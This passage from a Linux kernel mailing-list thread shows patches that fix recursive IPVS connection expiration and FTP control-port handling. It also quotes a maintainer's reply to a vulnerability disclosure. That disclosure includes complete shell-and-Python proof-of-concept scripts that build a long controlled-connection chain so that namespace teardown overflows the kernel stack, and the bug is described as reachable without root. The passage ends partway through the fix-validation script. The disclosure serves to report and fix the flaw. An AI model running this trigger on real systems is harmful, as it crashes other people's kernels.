 	if (cp->flags & IP_VS_CONN_F_HASHED) {
-		/* Decrease refcnt and unlink conn only if we are last user */
-		if (use2 == ip_vs_conn_use_hash2(cp) &&
-		    refcount_dec_if_one(&cp->refcnt)) {
-			hlist_bl_del_rcu(&cp->hn0.node);
-			if (use2)
-				hlist_bl_del_rcu(&cp->hn1.node);
-			cp->flags &= ~IP_VS_CONN_F_HASHED;
-			ret = true;
-		}
+		/* Unlink conn as we are the last user */
+		hlist_bl_del_rcu(&cp->hn0.node);
+		if (use2)
+			hlist_bl_del_rcu(&cp->hn1.node);
+		cp->flags &= ~IP_VS_CONN_F_HASHED;
 	}
 
 	conn_tab_unlock(head, head2);
@@ -353,7 +366,7 @@ static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
 	local_bh_enable();
 	rcu_read_unlock();
 
-	return ret;
+	return true;
 }
 
 
@@ -1319,34 +1332,29 @@ static void ip_vs_conn_rcu_free(struct rcu_head *head)
 	kmem_cache_free(ip_vs_conn_cachep, cp);
 }
 
-/* Try to delete connection while not holding reference */
+/* Try to delete connection while not holding reference.
+ * It can be called concurrently and always under RCU lock.
+ */
 static void ip_vs_conn_del(struct ip_vs_conn *cp)
 {
-	if (timer_delete(&cp->timer)) {
-		/* Drop cp->control chain too */
-		if (cp->control)
-			cp->timeout = 0;
-		ip_vs_conn_expire(&cp->timer);
-	}
-}
+	struct timer_list *t = (void *)((unsigned long)(&cp->timer) | 1UL);
 
-/* Try to delete connection while holding reference */
-static void ip_vs_conn_del_put(struct ip_vs_conn *cp)
-{
-	if (timer_delete(&cp->timer)) {
-		/* Drop cp->control chain too */
-		if (cp->control)
-			cp->timeout = 0;
-		__ip_vs_conn_put(cp);
-		ip_vs_conn_expire(&cp->timer);
-	} else {
-		__ip_vs_conn_put(cp);
-	}
+	/* Drop cp->control chain too */
+	if (cp->control)
+		cp->timeout = 0;
+	ip_vs_conn_expire(t);
 }
 
+/* Connection is removed in the following steps:
+ * - timer expires or connection is deleted
+ * - there should be no more references (n_control>0 and refcnt>1)
+ * - there should be no pending timer or a running timer callback (on deletion)
+ */
 static void ip_vs_conn_expire(struct timer_list *t)
 {
-	struct ip_vs_conn *cp = timer_container_of(cp, t, timer);
+	bool my_cb = !((unsigned long)t & 1);
+	struct timer_list *t2 = (void *)((unsigned long)t & ~1UL);
+	struct ip_vs_conn *cp = timer_container_of(cp, t2, timer);
 	struct netns_ipvs *ipvs = cp->ipvs;
 
 	/*
@@ -1356,26 +1364,21 @@ static void ip_vs_conn_expire(struct timer_list *t)
 		goto expire_later;
 
 	/* Unlink conn if not referenced anymore */
-	if (likely(ip_vs_conn_unlink(cp))) {
+	if (likely(ip_vs_conn_unlink(cp, my_cb))) {
 		struct ip_vs_conn *ct = cp->control;
 
-		/* delete the timer if it is activated by other users */
-		timer_delete(&cp->timer);
-
 		/* does anybody control me? */
 		if (ct) {
-			bool has_ref = !cp->timeout && __ip_vs_conn_get(ct);
-
+			rcu_read_lock();
 			ip_vs_control_del(cp);
 			/* Drop CTL or non-assured TPL if not used anymore */
-			if (has_ref && !atomic_read(&ct->n_control) &&
+			if (!cp->timeout && !atomic_read(&ct->n_control) &&
 			    (!(ct->flags & IP_VS_CONN_F_TEMPLATE) ||
 			     !(ct->state & IP_VS_CTPL_S_ASSURED))) {
 				IP_VS_DBG(4, "drop controlling connection\n");
-				ip_vs_conn_del_put(ct);
-			} else if (has_ref) {
-				__ip_vs_conn_put(ct);
+				ip_vs_conn_del(ct);
 			}
+			rcu_read_unlock();
 		}
 
 		if ((cp->flags & IP_VS_CONN_F_NFCT) &&
@@ -1410,13 +1413,15 @@ static void ip_vs_conn_expire(struct timer_list *t)
 		  refcount_read(&cp->refcnt),
 		  atomic_read(&cp->n_control));
 
-	refcount_inc(&cp->refcnt);
-	cp->timeout = 60*HZ;
+	if (__ip_vs_conn_get(cp)) {
+		if (cp->timeout || atomic_read(&cp->n_control))
+			cp->timeout = 60 * HZ;
 
-	if (ipvs->sync_state & IP_VS_STATE_MASTER)
-		ip_vs_sync_conn(ipvs, cp, sysctl_sync_threshold(ipvs));
+		if (ipvs->sync_state & IP_VS_STATE_MASTER)
+			ip_vs_sync_conn(ipvs, cp, sysctl_sync_threshold(ipvs));
 
-	__ip_vs_conn_put_timer(cp);
+		__ip_vs_conn_put_timer(cp);
+	}
 }
 
 /* Modify timer, so that it expires as soon as possible.
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 9+ messages in thread

* [PATCH nf v5 2/3] ipvs: avoid stack overflow from recursive connection expiration
  2026-09-25 16:40 [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
  2026-09-25 16:40 ` [PATCH nf v5 1/3] ipvs: wait the running timer cb on conn deletion Zihan Xi
@ 2026-09-25 16:40 ` Zihan Xi
  2026-09-29 17:05   ` netdev-bot+sashiko
  2026-09-25 16:40 ` [PATCH nf v5 3/3] ipvs: reject FTP control ports as data ports Zihan Xi
                   ` (2 subsequent siblings)
  4 siblings, 1 reply; 9+ messages in thread
From: Zihan Xi @ 2026-09-25 16:40 UTC (permalink / raw)
  To: netdev, lvs-devel, netfilter-devel
  Cc: horms, ja, pablo, fw, phil, zihanx, stable, Vega, Luxing Yin

When a controlled IPVS connection expires, its controller may be expired
synchronously if it has no remaining controlled connections. A chain of
controlled connections can then recurse through ip_vs_conn_expire() and
exhaust the kernel stack during namespace cleanup.

Continue expiration with the controller after the current connection has
been fully cleaned up instead of calling ip_vs_conn_del() recursively. Keep
the expiration walk under RCU, preserve the immediate-drop timeout for a
controller with its own controller, and switch to deletion mode before the
next iteration.

This keeps controlled-connection cleanup synchronous while using one stack
frame for the whole chain. The timer callback race during connection
deletion is handled by the preceding refcount fix.

Fixes: f9200a52eedf ("ipvs: avoid expiring many connections from timer")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v5:
  - Rebase this patch on Julian Anastasov's v3 timer-callback fix.
  - v4 Link: https://lore.kernel.org/all/cover.1790146910.git.zihanx@nebusec.ai/
changes in v4:
  - Rebase the iterative controller cleanup on the timer-callback fix.
  - Keep the controller walk synchronous and switch to deletion mode for
    the next iteration.
  - v3 Link:
    https://lore.kernel.org/all/cover.1789877273.git.zihanx@nebusec.ai/
changes in v3:
  - Handle the timer-callback race while keeping controller cleanup
    iterative and synchronous.
  - v2 Link:
    https://lore.kernel.org/all/cover.1789435989.git.zihanx@nebusec.ai/
changes in v2:
  - Replace recursive controller expiration with an iterative repeat path.
  - v1 Link:
    https://lore.kernel.org/all/cover.1789110326.git.zihanx@nebusec.ai/

 net/netfilter/ipvs/ip_vs_conn.c | 20 ++++++++++++++++----
 1 file changed, 16 insertions(+), 4 deletions(-)

diff --git a/net/netfilter/ipvs/ip_vs_conn.c b/net/netfilter/ipvs/ip_vs_conn.c
index eac185496a8a6..ec5c0c8ecde74 100644
--- a/net/netfilter/ipvs/ip_vs_conn.c
+++ b/net/netfilter/ipvs/ip_vs_conn.c
@@ -1357,6 +1357,9 @@ static void ip_vs_conn_expire(struct timer_list *t)
 	struct ip_vs_conn *cp = timer_container_of(cp, t2, timer);
 	struct netns_ipvs *ipvs = cp->ipvs;
 
+	rcu_read_lock();
+
+repeat:
 	/*
 	 *	do I control anybody?
 	 */
@@ -1366,19 +1369,20 @@ static void ip_vs_conn_expire(struct timer_list *t)
 	/* Unlink conn if not referenced anymore */
 	if (likely(ip_vs_conn_unlink(cp, my_cb))) {
 		struct ip_vs_conn *ct = cp->control;
+		bool next = false;
 
 		/* does anybody control me? */
 		if (ct) {
-			rcu_read_lock();
 			ip_vs_control_del(cp);
 			/* Drop CTL or non-assured TPL if not used anymore */
 			if (!cp->timeout && !atomic_read(&ct->n_control) &&
 			    (!(ct->flags & IP_VS_CONN_F_TEMPLATE) ||
 			     !(ct->state & IP_VS_CTPL_S_ASSURED))) {
 				IP_VS_DBG(4, "drop controlling connection\n");
-				ip_vs_conn_del(ct);
+				if (ct->control)
+					ct->timeout = 0;
+				next = true;
 			}
-			rcu_read_unlock();
 		}
 
 		if ((cp->flags & IP_VS_CONN_F_NFCT) &&
@@ -1405,7 +1409,12 @@ static void ip_vs_conn_expire(struct timer_list *t)
 		else
 			call_rcu(&cp->rcu_head, ip_vs_conn_rcu_free);
 		atomic_dec(&ipvs->conn_count);
-		return;
+		if (next) {
+			cp = ct;
+			my_cb = false;
+			goto repeat;
+		}
+		goto out;
 	}
 
   expire_later:
@@ -1422,6 +1431,9 @@ static void ip_vs_conn_expire(struct timer_list *t)
 
 		__ip_vs_conn_put_timer(cp);
 	}
+
+out:
+	rcu_read_unlock();
 }
 
 /* Modify timer, so that it expires as soon as possible.
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 9+ messages in thread

* [PATCH nf v5 3/3] ipvs: reject FTP control ports as data ports
  2026-09-25 16:40 [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
  2026-09-25 16:40 ` [PATCH nf v5 1/3] ipvs: wait the running timer cb on conn deletion Zihan Xi
  2026-09-25 16:40 ` [PATCH nf v5 2/3] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
@ 2026-09-25 16:40 ` Zihan Xi
  2026-09-25 18:05 ` [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration Julian Anastasov
  2026-09-27 14:07 ` Julian Anastasov
  4 siblings, 0 replies; 9+ messages in thread
From: Zihan Xi @ 2026-09-25 16:40 UTC (permalink / raw)
  To: netdev, lvs-devel, netfilter-devel
  Cc: horms, ja, pablo, fw, phil, zihanx, stable, Vega, Luxing Yin

ip_vs_ftp_out() creates a wildcard data connection from the
server-advertised passive port. If that port is one of the configured FTP
control ports, ip_vs_conn_new() binds the FTP helper to the new connection
again. A subsequent wildcard lookup can then extend a controlled-connection
chain.

Reject zero and configured control ports before creating passive
connections. For active mode, reject a zero client port and a data port
derived from a configured control port.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v5:
  - Rebase this patch on Julian Anastasov's v3 timer-callback fix.
  - v4 Link: https://lore.kernel.org/all/cover.1790146910.git.zihanx@nebusec.ai/
changes in v4:
  - Resend the FTP helper fix as patch 3/3 with the generic cleanup fixes.
  - v3 Link:
    https://lore.kernel.org/all/cover.1789877273.git.zihanx@nebusec.ai/
changes in v3:
  - Keep the active-mode guard for configured FTP control ports.
  - v2 Link:
    https://lore.kernel.org/all/cover.1789435989.git.zihanx@nebusec.ai/
changes in v2:
  - Add the active-mode check for a data port derived from a configured
    control port.
  - v1 Link:
    https://lore.kernel.org/all/cover.1789110326.git.zihanx@nebusec.ai/

 net/netfilter/ipvs/ip_vs_ftp.c | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/net/netfilter/ipvs/ip_vs_ftp.c b/net/netfilter/ipvs/ip_vs_ftp.c
index 9e3e005a82635..4822a1a75212d 100644
--- a/net/netfilter/ipvs/ip_vs_ftp.c
+++ b/net/netfilter/ipvs/ip_vs_ftp.c
@@ -62,6 +62,17 @@ static unsigned short ports[IP_VS_APP_MAX_PORTS] = {21, 0};
 module_param_array(ports, ushort, &ports_count, 0444);
 MODULE_PARM_DESC(ports, "Ports to monitor for FTP control commands");
 
+static bool is_control_port(u16 port)
+{
+	unsigned int i;
+
+	for (i = 0; i < ports_count; i++) {
+		if (ports[i] == port)
+			return true;
+	}
+	return false;
+}
+
 
 static char *ip_vs_ftp_data_ptr(struct sk_buff *skb, struct ip_vs_iphdr *ipvsh)
 {
@@ -319,6 +330,10 @@ static int ip_vs_ftp_out(struct ip_vs_app *app, struct ip_vs_conn *cp,
 		return 1;
 	}
 
+	/* Do not redirect data to control ports */
+	if (!port || is_control_port(ntohs(port)))
+		return 0;
+
 	/* Now update or create a connection entry for it */
 	{
 		struct ip_vs_conn_param p;
@@ -529,6 +544,9 @@ static int ip_vs_ftp_in(struct ip_vs_app *app, struct ip_vs_conn *cp,
 		return 1;
 	}
 
+	if (!port || is_control_port(ntohs(cp->vport) - 1))
+		return 0;
+
 	/* Passive mode off */
 	cp->app_data = (void *) IP_VS_FTP_ACTIVE;
 
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 9+ messages in thread

* Re: [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration
  2026-09-25 16:40 [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
                   ` (2 preceding siblings ...)
  2026-09-25 16:40 ` [PATCH nf v5 3/3] ipvs: reject FTP control ports as data ports Zihan Xi
@ 2026-09-25 18:05 ` Julian Anastasov
  2026-09-27 14:07 ` Julian Anastasov
  4 siblings, 0 replies; 9+ messages in thread
From: Julian Anastasov @ 2026-09-25 18:05 UTC (permalink / raw)
  To: Zihan Xi; +Cc: netdev, lvs-devel, netfilter-devel, horms, pablo, fw, phil


	Hello,

On Fri, 25 Sep 2026, Zihan Xi wrote:

> Hi Linux kernel maintainers,
> 
> We found and validated an issue in
> net/netfilter/ipvs/ip_vs_ftp.c and net/netfilter/ipvs/ip_vs_conn.c. The
> bug is reachable by a non-root user via a user namespace and a network
> namespace.
> We've tested it, and it should not affect any other functionality.
> 
> This series contains 3 patches:
> 
>   1/3 Fix the timer callback race during IPVS connection deletion.
>   2/3 Replace recursive controller expiration with an iterative cleanup
>       path.
>   3/3 Reject zero and configured FTP control ports as data ports.

	Thank you very much for working on the patchset!
All 3 patches look ok, the first patch has my SOB line,
so this is for patches 2-3 to add:

Signed-off-by: Julian Anastasov <ja@ssi.bg>

	For now the AI review is ok:

https://sashiko.dev/#/patchset/cover.1790266803.git.zihanx%40nebusec.ai

> We will provide detailed information about the bug
> in this email, along with PoCs to trigger it.
> 
> ---- details below ----
> 
> Bug details:
> 
> The trigger entry point is ip_vs_ftp_out() in
> net/netfilter/ipvs/ip_vs_ftp.c. It parses an EPSV reply from the real
> server and creates a wildcard data connection from the advertised port.
> The baseline PoC uses port 21, the default FTP control port.
> ip_vs_conn_new() then binds the FTP helper to the new connection again.
> Because the child has IP_VS_CONN_F_NO_CPORT, the next connection from the
> same client to the VIP on port 21 matches the wildcard child instead of
> creating a new top-level entry.
> Repeating EPSV builds a controlled-connection chain.
> 
> The active-mode entry point, ip_vs_ftp_in(), has the same chain-building
> condition when the derived data port is a configured control port. The
> data connection's virtual port is derived from cp->vport - 1. With
> ports={21,20}, the derived port is 20, so ip_vs_conn_new() can bind the
> FTP helper again.
> 
> The FTP entry points are in ip_vs_ftp.c, but the stack-overflow root cause
> is in the generic cleanup path in ip_vs_conn.c. When a controlled
> connection expires, ip_vs_conn_expire() can delete and expire its
> controller. The old path can then call ip_vs_conn_expire() recursively. A
> long controlled-connection chain can exhaust the kernel stack. The
> reproduced failure occurs during network namespace teardown, but the
> cleanup bug is in the generic controller-chain path, not a teardown-only
> special case.
> 
> Patch 1 prevents a connection from being unlinked while a concurrent timer
> callback can still use it. It revalidates n_control and timer state after
> excluding the connection from traffic, and gives a concurrent callback
> another chance when deletion does not own the timer. The deletion and
> controller-chain walk stay under RCU while the timer-callback race is
> handled.
> 
> Patch 2 continues expiration with the controller after the current
> connection has been fully cleaned up instead of recursively calling the
> expiration path. The cleanup remains synchronous while using one stack
> frame for the whole chain. The iteration also switches the controller to
> deletion mode and preserves the timer-callback handling from patch 1.
> 
> Patch 3 rejects zero and configured FTP control ports before creating
> passive data connections in ip_vs_ftp_out(), covering both PASV and EPSV.
> It also rejects a zero active-mode client port and a data port
> derived from a configured control port in ip_vs_ftp_in(). Valid data ports
> continue through the existing path.
> 
> The recursive-cleanup root cause was introduced by
> f9200a52eedf ("ipvs: avoid expiring many connections from timer"). The FTP
> helper's acceptance of a configured control port is a separate root-cause
> fact, introduced by 1da177e4c3f4 ("Linux-2.6.12-rc2"). These are different
> root-cause facts, so the fixes use separate Fixes: tags.
> 
> Reproducer:
> 
> The reproducers are shell scripts with embedded Python. The baseline
> reproducer was run as follows:
> 
>     SELF_UNSHARE=1 MODE=exit ./poc-original.sh 400
> 
> The fixed passive-mode run was:
> 
>     SELF_UNSHARE=1 MODE=exit ./poc.sh 200
> 
> The active-mode run used this complete kernel command line:
> 
>     root=/dev/sda rw console=ttyS0 earlyprintk=serial net.ifnames=0 biosdevname=0 nokaslr panic_on_warn=0 oops=panic systemd.mask=sys-kernel-config.mount systemd.mask=systemd-remount-fs.service systemd.unit=multi-user.target ip_vs_ftp.ports=21,20
> 
> and this command:
> 
>     SELF_UNSHARE=1 MODE=exit ./poc-active.sh 1
> 
> The active-mode validation used depth 1 to check the configured-port
> guard; it was not used as a deeper chain stress test.
> 
> packetdrill was not used because the trigger requires namespace creation,
> the legacy IPVS sockopt ABI, a cooperating TCP server, and namespace
> teardown. packetdrill cannot express that complete control-plane setup and
> lifetime on its own.
> 
> We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
> 
> The baseline was built from 70194dc37670
> (7.3.0-rc2-g70194dc37670). The baseline PoC exited with status 0 and
> reported 401 IPVS entries after building 400 controlled connections. The
> baseline namespace teardown produced the decoded KASAN report below.
> 
> The passive PoC ran on the v4 kernel and exited with status 0,
> reporting:
> 
>     built 200 connections
>     rejected control-port replies: 200/200
>     ip_vs_conn entries before trigger: 200
>     passive data connections created: 0
>     exiting namespace holder
> 
> The active-mode validation also ran on the v4 kernel and exited with
> status 0, reporting:
> 
>     built 1 connections
>     ip_vs_conn entries before trigger: 1
>     derived data connections created: 0
>     exiting namespace holder
> 
> The fixed passive and active runs produced no KASAN, BUG, Oops, kernel
> panic, stack-guard, or general-protection diagnostics. The baseline run
> produced the crash during namespace teardown. The crash excerpt below is
> copied from the decoded baseline report; unrelated boot output, registers,
> and disassembly are omitted.
> 
> Reproducer source files:
> 
> ------BEGIN poc-original.sh------
> #!/bin/sh
> set -eu
> 
> DEPTH="${1:-400}"
> MODE="${MODE:-exit}"
> SELF_UNSHARE="${SELF_UNSHARE:-0}"
> 
> if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
> 	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
> 		unshare -Urn -- "$0" "${DEPTH}"
> fi
> 
> ulimit -n 65535 2>/dev/null || true
> 
> IP=/usr/sbin/ip
> PYTHON=/usr/bin/python3
> 
> VIP=198.51.100.1
> REAL=198.51.100.2
> CLIENT=198.51.100.3
> PORT=21
> 
> "${IP}" link set lo up
> "${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
> "${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
> "${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true
> 
> exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
> import ctypes
> import os
> import socket
> import sys
> import threading
> import time
> 
> depth = int(sys.argv[1])
> mode = sys.argv[2]
> vip = sys.argv[3]
> real = sys.argv[4]
> client_ip = sys.argv[5]
> port = int(sys.argv[6])
> 
> ready = threading.Event()
> server_error = []
> client_error = []
> accepted = []
> clients = []
> 
> IP_VS_BASE_CTL = 64 + 1024 + 64
> IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
> IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
> IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7
> 
> 
> class Svc(ctypes.Structure):
>     _fields_ = [
>         ("protocol", ctypes.c_uint16),
>         ("addr", ctypes.c_uint32),
>         ("port", ctypes.c_uint16),
>         ("fwmark", ctypes.c_uint32),
>         ("sched_name", ctypes.c_char * 16),
>         ("flags", ctypes.c_uint),
>         ("timeout", ctypes.c_uint),
>         ("netmask", ctypes.c_uint32),
>     ]
> 
> 
> class Dest(ctypes.Structure):
>     _fields_ = [
>         ("addr", ctypes.c_uint32),
>         ("port", ctypes.c_uint16),
>         ("conn_flags", ctypes.c_uint),
>         ("weight", ctypes.c_int),
>         ("u_threshold", ctypes.c_uint32),
>         ("l_threshold", ctypes.c_uint32),
>     ]
> 
> 
> def native_u32(ip):
>     return int.from_bytes(socket.inet_aton(ip), sys.byteorder)
> 
> 
> def ipvs_sock():
>     return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
> 
> 
> def ipvs_flush():
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
>     finally:
>         s.close()
> 
> 
> def ipvs_add_service():
>     svc = Svc()
>     svc.protocol = socket.IPPROTO_TCP
>     svc.addr = native_u32(vip)
>     svc.port = socket.htons(port)
>     svc.fwmark = 0
>     svc.sched_name = b"rr"
>     svc.flags = 0
>     svc.timeout = 0
>     svc.netmask = 0
> 
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
>     finally:
>         s.close()
>     return svc
> 
> 
> def ipvs_add_dest(svc):
>     dest = Dest()
>     dest.addr = native_u32(real)
>     dest.port = socket.htons(port)
>     dest.conn_flags = 0
>     dest.weight = 1
>     dest.u_threshold = 0
>     dest.l_threshold = 0
> 
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
>     finally:
>         s.close()
> 
> 
> def recv_line(sock):
>     data = bytearray()
>     while not data.endswith(b"\n"):
>         chunk = sock.recv(1)
>         if not chunk:
>             raise RuntimeError("unexpected EOF")
>         data.extend(chunk)
>     return bytes(data)
> 
> 
> def server():
>     try:
>         srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>         srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
>         srv.bind((real, port))
>         srv.listen(depth + 16)
>         ready.set()
>         for i in range(depth):
>             conn, addr = srv.accept()
>             conn.sendall(b"220 ready\r\n")
>             line = recv_line(conn)
>             if b"EPSV" not in line.upper():
>                 raise RuntimeError(f"unexpected request on level {i}: {line!r}")
>             conn.sendall(b"229 Entering Extended Passive Mode (|||21|)\r\n")
>             accepted.append(conn)
>         while True:
>             time.sleep(1)
>     except BaseException as exc:
>         server_error.append(repr(exc))
>         ready.set()
> 
> 
> try:
>     try:
>         ipvs_flush()
>     except OSError:
>         pass
>     service = ipvs_add_service()
>     ipvs_add_dest(service)
> except OSError as exc:
>     raise SystemExit(f"ipvs setup failed: {exc}")
> 
> 
> threading.Thread(target=server, daemon=True).start()
> ready.wait()
> if server_error:
>     raise SystemExit(f"server failed early: {server_error[0]}")
> 
> for i in range(depth):
>     try:
>         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>         s.bind((client_ip, 0))
>         s.connect((vip, port))
>         banner = recv_line(s)
>         if not banner.startswith(b"220 "):
>             raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
>         s.sendall(b"EPSV\r\n")
>         reply = recv_line(s)
>         if b"229 " not in reply:
>             raise RuntimeError(f"unexpected EPSV reply on level {i}: {reply!r}")
>         clients.append(s)
>         if (i + 1) % 50 == 0 or i + 1 == depth:
>             print(f"built {i + 1} connections", flush=True)
>     except BaseException as exc:
>         client_error.append(repr(exc))
>         break
> 
> if client_error:
>     raise SystemExit(f"client failed: {client_error[0]}")
> if server_error:
>     raise SystemExit(f"server failed: {server_error[0]}")
> 
> try:
>     with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
>         conn_lines = sum(1 for _ in f) - 1
> except OSError:
>     conn_lines = -1
> 
> print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)
> 
> if mode == "hold":
>     while True:
>         time.sleep(1)
> elif mode == "flush":
>     ipvs_flush()
>     print("IPVS flush returned", flush=True)
>     while True:
>         time.sleep(1)
> elif mode == "exit":
>     print("exiting namespace holder", flush=True)
>     sys.stdout.flush()
>     os._exit(0)
> else:
>     raise SystemExit(f"unknown MODE={mode!r}")
> PY
> ------END poc-original.sh--------
> 
> ------BEGIN poc.sh------
> #!/bin/sh
> set -eu
> 
> DEPTH="${1:-400}"
> MODE="${MODE:-exit}"
> SELF_UNSHARE="${SELF_UNSHARE:-0}"
> 
> if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
> 	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
> 		unshare -Urn -- "$0" "${DEPTH}"
> fi
> 
> ulimit -n 65535 2>/dev/null || true
> 
> IP=/usr/sbin/ip
> PYTHON=/usr/bin/python3
> 
> VIP=198.51.100.1
> REAL=198.51.100.2
> CLIENT=198.51.100.3
> PORT=21
> 
> "${IP}" link set lo up
> "${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
> "${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
> "${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true
> 
> exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
> import ctypes
> import os
> import socket
> import sys
> import threading
> import time
> 
> depth = int(sys.argv[1])
> mode = sys.argv[2]
> vip = sys.argv[3]
> real = sys.argv[4]
> client_ip = sys.argv[5]
> port = int(sys.argv[6])
> 
> ready = threading.Event()
> server_error = []
> client_error = []
> accepted = []
> clients = []
> rejected = 0
> 
> IP_VS_BASE_CTL = 64 + 1024 + 64
> IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
> IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
> IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7
> 
> 
> class Svc(ctypes.Structure):
>     _fields_ = [
>         ("protocol", ctypes.c_uint16),
>         ("addr", ctypes.c_uint32),
>         ("port", ctypes.c_uint16),
>         ("fwmark", ctypes.c_uint32),
>         ("sched_name", ctypes.c_char * 16),
>         ("flags", ctypes.c_uint),
>         ("timeout", ctypes.c_uint),
>         ("netmask", ctypes.c_uint32),
>     ]
> 
> 
> class Dest(ctypes.Structure):
>     _fields_ = [
>         ("addr", ctypes.c_uint32),
>         ("port", ctypes.c_uint16),
>         ("conn_flags", ctypes.c_uint),
>         ("weight", ctypes.c_int),
>         ("u_threshold", ctypes.c_uint32),
>         ("l_threshold", ctypes.c_uint32),
>     ]
> 
> 
> def native_u32(ip):
>     return int.from_bytes(socket.inet_aton(ip), sys.byteorder)
> 
> 
> def ipvs_sock():
>     return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
> 
> 
> def ipvs_flush():
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
>     finally:
>         s.close()
> 
> 
> def ipvs_add_service():
>     svc = Svc()
>     svc.protocol = socket.IPPROTO_TCP
>     svc.addr = native_u32(vip)
>     svc.port = socket.htons(port)
>     svc.fwmark = 0
>     svc.sched_name = b"rr"
>     svc.flags = 0
>     svc.timeout = 0
>     svc.netmask = 0
> 
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
>     finally:
>         s.close()
>     return svc
> 
> 
> def ipvs_add_dest(svc):
>     dest = Dest()
>     dest.addr = native_u32(real)
>     dest.port = socket.htons(port)
>     dest.conn_flags = 0
>     dest.weight = 1
>     dest.u_threshold = 0
>     dest.l_threshold = 0
> 
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
>     finally:
>         s.close()
> 
> 
> def recv_line(sock):
>     data = bytearray()
>     while not data.endswith(b"\n"):
>         chunk = sock.recv(1)
>         if not chunk:
>             raise RuntimeError("unexpected EOF")
>         data.extend(chunk)
>     return bytes(data)
> 
> 
> def server():
>     try:
>         srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>         srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
>         srv.bind((real, port))
>         srv.listen(depth + 16)
>         ready.set()
>         for i in range(depth):
>             conn, addr = srv.accept()
>             conn.sendall(b"220 ready\r\n")
>             line = recv_line(conn)
>             if b"EPSV" not in line.upper():
>                 raise RuntimeError(f"unexpected request on level {i}: {line!r}")
>             conn.sendall(b"229 Entering Extended Passive Mode (|||21|)\r\n")
>             accepted.append(conn)
>         while True:
>             time.sleep(1)
>     except BaseException as exc:
>         server_error.append(repr(exc))
>         ready.set()
> 
> 
> try:
>     try:
>         ipvs_flush()
>     except OSError:
>         pass
>     service = ipvs_add_service()
>     ipvs_add_dest(service)
> except OSError as exc:
>     raise SystemExit(f"ipvs setup failed: {exc}")
> 
> 
> threading.Thread(target=server, daemon=True).start()
> ready.wait()
> if server_error:
>     raise SystemExit(f"server failed early: {server_error[0]}")
> 
> for i in range(depth):
>     try:
>         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>         s.bind((client_ip, 0))
>         s.connect((vip, port))
>         banner = recv_line(s)
>         if not banner.startswith(b"220 "):
>             raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
>         s.sendall(b"EPSV\r\n")
>         s.settimeout(0.2)
>         try:
>             reply = recv_line(s)
>         except socket.timeout:
>             rejected += 1
>             print(f"control-port reply rejected on level {i}", flush=True)
>         else:
>             raise RuntimeError(
